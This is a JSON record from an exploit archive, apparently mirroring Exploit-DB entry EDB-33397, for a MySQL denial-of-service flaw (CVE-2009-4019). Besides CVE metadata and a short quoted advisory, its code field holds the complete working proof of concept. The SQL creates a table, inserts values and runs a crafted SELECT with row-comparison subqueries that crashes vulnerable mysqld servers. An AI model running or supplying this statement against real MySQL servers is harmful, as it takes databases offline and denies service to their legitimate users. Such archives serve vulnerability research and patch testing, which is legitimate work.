{"exploit":{"id":"EDB-33397","name":"Oracle MySQL 6.0.9 - SELECT Statement WHERE Clause Sub-query Denial of Service (DoS)","description":"Oracle MySQL 6.0.9 - SELECT Statement WHERE Clause Sub-query Denial of Service (DoS)","cves":["CVE-2009-4019"],"author":"Shane Bester","published":"2009-11-23","platform":"linux","type":"dos","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/33397","path":"exploits/linux/dos/33397.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-33397.txt","vulnerabilities":[{"id":"CVE-2009-4019","state":"PUBLISHED","title":null,"titleSource":null,"description":"mysqld in MySQL 5.0.x before 5.0.88 and 5.1.x before 5.1.41 does not (1) properly handle errors during execution of certain SELECT statements with subqueries, and does not (2) preserve certain null_value flags during execution of statements that use the GeomFromWKB function, which allows remote authenticated users to cause a denial of service (daemon crash) via a crafted statement.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-4019","cvss":{"version":"2.0","baseScore":4,"severity":"medium","vectorString":"AV:N/AC:L/Au:S/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-4019"},"updatedAt":"2024-08-07T06:45:50.912Z","retrievedAt":"2026-11-26T18:31:27.264Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-33397.png?v=2","url":"https://exploitbin.com/exploits/EDB-33397","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-33397/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-33397/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"source: https://web.archive.org/web/2009/https://www.securityfocus.com/bid/37297/info\n\nMySQL is prone to multiple remote denial-of-service vulnerabilities because it fails to handle certain SQL expressions.\n\nAn attacker can exploit these issues to crash the application, denying access to legitimate users.\n\nVersions prior to MySQL 5.0.88 and 5.1.41 are vulnerable.\n\n----------------------------------------\n\ndrop table if exists `t1`;\ncreate table `t1`(`a` float);\ninsert into `t1` values (-2),(-1);\nselect  1 from `t1`\nwhere\n`a` <> '1' and not\nrow(`a`,`a`) <=>\nrow((select 1 from `t1` where 1=2),(select 1 from `t1`))\ninto @`var0`;","sha256":"1c99a515bac72afddbbdb51d06f06f7f5e1a2f3f44bceea72acd862a977d22f0","bytes":633,"fetchedAt":"2026-11-26T18:08:05.862Z","encoding":"utf-8 (display only; download retains original bytes)"}